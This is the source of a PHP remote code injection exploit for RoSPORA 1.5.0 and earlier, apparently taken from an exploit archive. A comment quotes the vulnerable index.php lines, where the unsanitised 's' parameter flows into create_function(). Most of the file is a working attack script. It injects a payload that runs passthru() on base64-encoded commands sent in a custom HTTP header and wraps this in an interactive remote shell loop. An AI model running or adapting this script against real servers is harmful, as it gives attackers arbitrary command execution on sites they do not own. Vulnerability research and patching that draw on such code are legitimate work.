|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76  |  <?php /*  --------------------------------------------------  RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit  --------------------------------------------------  author...: EgiX  mail.....: n0b0d13s[at]gmail[dot]com  link.....: http://code.google.com/p/rospora/  This PoC was written for educational purpose. Use it at your own risk.  Author will be not responsible for any damage.  [-] vulnerable code in /index.php  667. if (!$sort = &$_GET['s']) $sort=0;  668. if (!$flag = &$_GET['f']) $flag=0;  669. if ($flag==0) { $flag=1; $sort_type='<'; }   670. else{ $flag=0; $sort_type='>'; }  671. $link=$_SERVER['PHP_SELF']."?f=".$flag."&s=";  672.   673. if (!empty($pl_array))   674. {  675. usort($pl_array, create_function('$a, $b', 'if ( $a['.$sort.'] == $b['.$sort.'] ) return 0; if ( $a['.$sort.'] '.$sort_type.' $b['.$sort.'] ) return -1; return 1;'));  676. }  Input parameter passed through $_GET['s'] isn't properly sanitised before being used in a call to  "create_function()" at line 675. This can be exploited to inject and execute arbitrary PHP code. */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) {  if (!($sock = fsockopen($host, 80)))  die("\n[-] No response from {$host}:80\n");  fputs($sock, $packet);  return stream_get_contents($sock); } print "\n+------------------------------------------------------------+"; print "\n| RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit by EgiX |"; print "\n+------------------------------------------------------------+\n"; if ($argc < 3) {  print "\nUsage......: php $argv[0] host path\n";  print "\nExample....: php $argv[0] localhost /";  print "\nExample....: php $argv[0] localhost /rospora/\n";  die(); } $host = $argv[1]; $path = $argv[2]; $code = "0]);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23"; $packet= "GET {$path}?s={$code} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) {  print "\nrospora-shell# ";  if (($cmd = trim(fgets(STDIN))) == "exit") break;  $response = http_send($host, sprintf($packet, base64_encode($cmd)));  preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n"); } ?>  |